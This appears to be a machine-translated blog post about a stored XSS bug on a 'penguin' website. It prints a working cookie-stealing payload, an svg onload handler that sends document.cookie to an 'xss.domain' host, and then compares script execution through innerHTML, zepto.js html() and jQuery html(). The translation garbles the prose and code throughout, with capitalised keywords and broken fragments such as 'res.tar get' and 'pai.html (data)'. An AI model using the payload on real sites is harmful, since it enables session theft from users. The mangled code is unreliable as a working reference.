JQuery is the most commonly used JavaScript library. element.html () is a method for inserting HTML code into an element, while element. innerHTML is a native JavaScript insertion method.
In the past, because there was no need to use it, I had always thought that jQuery's element.html () was just a simple encapsulation of element. innerHTML, but yesterday I found that things were not that simple.
The teacher said that there must be reasons, procedures, and results for writing an article, so let's talk about the cause of the story first.
Cause
A small partner found a storage-type XSS vulnerability on a penguin website. He did not know about the front-end, so he asked me to help bypass filtering. This page not only filters the input content, but also has a limit of up to 50 characters. Although you do not know the complete filtering rules, a simple test shows that filtering is quite tricky, even the <script> tag can be inserted successfully. However, every penguin account can submit only 15 pieces of information, so it cannot make a lot of attempts.
The page does not trigger the XSS vulnerability directly after loading, but click the comment button to request the comment information and insert the DOM through Ajax. If the comment information contains the XSS code, will be triggered.
After the vulnerability is submitted, Penguin quickly responds. Now that the hole has been completed, the code that can be used at that time will be published.
<Svg/onload = "window. location. href = 'http: // xss. domain /? Id = '+ document. cookie ">
Well, the subsequent content is actually irrelevant to the Japanese site. It is a test comparison between element. innerHTML and html.
After
Native JavaScript testing
First try element. innerHTML in native JavaScript.
<! -- Index.html -->
<Html>
<Head> <Body>
<Div id = "content"> </div>
<Script>
Var xhr = new XMLHttpRequest ();
Xhr. open ("GET", "index.txt ");
Xhr. send ();
Xhr. addEventListener ("readystatechange", function (res ){
If (res.tar get. readyState ===4 & res.tar get. status === 200 ){
Document. getElementById ("content"). innerHTML = res.tar get. responseText;
}
});
</Script>
</Body>
</Html>
<! -- Index.txt -->
<Script>
Alert('index.txt ');
</Script>
Write the script:
1. Open index.html (HTTP Server is required );
2. The page automatically initiates an Ajax request to obtain the content in index.txt and add it to the div;
3. Finally, the content in the <script> label is automatically executed, that is, alert('index.txt '). A dialog box with the words "export index.txt" is displayed.
Open and run ...? ('Train & acute;) coach, this is different from the script !!!
There was no response. Although the <script> alert('index.txt '); </script> in index.txt was successfully loaded, it was also added to the DOM, just like writing text, no code is executed at all.
Google:
Before window. onload is triggered, the script written through element. innerHTML will be executed normally, but window. onload will not be automatically executed if it is added to the script after being triggered.
Under normal circumstances, you can directly use eval () to execute the script. Although it is not safe, it is also a solution. However, in this abnormal situation, we have to find another way.
Don't forget, there is another way: document. write (), this method does not have element. innerHTML is easy to use, because the former overwrites the entire document stream every time, causing heavy streaming of the entire page. However, the latter can modify the content of a specific element, the whole page will not be restreamed. Although this method can execute scripts, the consequence is that only the content written to the entire page is left, and no other content including
Zepto. js Test
Right-click the source code to open the page. -- Wozgi
I implemented the above truth. Of course, I first learned that the vulnerable page uses the zepto. js library.
Zepto. js is a lightweight jQuery-like library, which also uses the $ symbol and has many functions that are consistent with jQuery. OK. Change the code and use $. ajax to obtain the script to see if it will be executed.
The modified code is as follows:
<! -- Index.html -->
<Html>
<Head>
<Script src = "zepto. js"> </script>
</Head>
<Body>
<Div id = "content"> </div>
<Script>
$. Ajax ({
Type: "GET ",
Url: "index.txt ",
Success: function (data ){
$ ("# Content" pai.html (data );
}
});
</Script>
</Body>
</Html>
<! -- Index.txt -->
<Script>
Alert('index.txt ');
</Script>
Different from using native JavaScript, zepto gave me a sufficient face and immediately popped up a dialog box with the "export index.txt" text.
XI: the inline JavaScript code is successfully executed. Is it possible to reference external scripts?
<! -- Index.txt -->
<Script src = "http://libs.baidu.com/jquery/1.9.0/jquery.js">
Modify index.txt to the above content and request again...
What about requests for external resources? Why are there only requests for these three files? What about jquery. js of my 1.9.0 version?
HTTP request
I'm so angry, isn't it cross-domain? <Script> not cross-origin... After a try, there was still no request.
The zepto. js test result is:
The string containing the <script> tag obtained by zepto. js through Ajax is executed when it is added to the DOM, provided that the <script> tag is not used to request external files, but is inline JavaScript code.
JQuery testing
Since jQuery-like zepto. js cannot request external files, is jQuery not? With this question, I tested jQuery again, but the results are somewhat different. The latest release of jQuery 3.1.0 is used here.
If it is an inline JavaScript code, it can be executed normally, without any doubt.
However, after index.txt was changed to the following format, the file was successfully requested.
<! -- Index.txt -->
<Script src = "http://libs.baidu.com/jquery/1.9.0/jquery.js">
HTTP request
HTTP request
After testing, files can be loaded even when the cross-origin is successful.
The jQuery test result is:
The string obtained by jQuery through Ajax containing the <script> tag is executed when it is added to the DOM. If the <script> tag is used to request external files, it can also be requested normally.
Result
Looking at the demo file carefully, we found that the difference lies in html () and innerHTML.
Therefore, the above test results are:
InnerHTML cannot execute the script in the <script> tag obtained by Ajax.
Both zepto. js and jQuery can execute the inline script in the <script> tag obtained by Ajax.
JQuery can request an external request file for the <script> tag obtained by Ajax.
Conclusion
What have you written about this? It's really naive. I 'd like to write a detailed analysis in the next article. Look forward to the next article.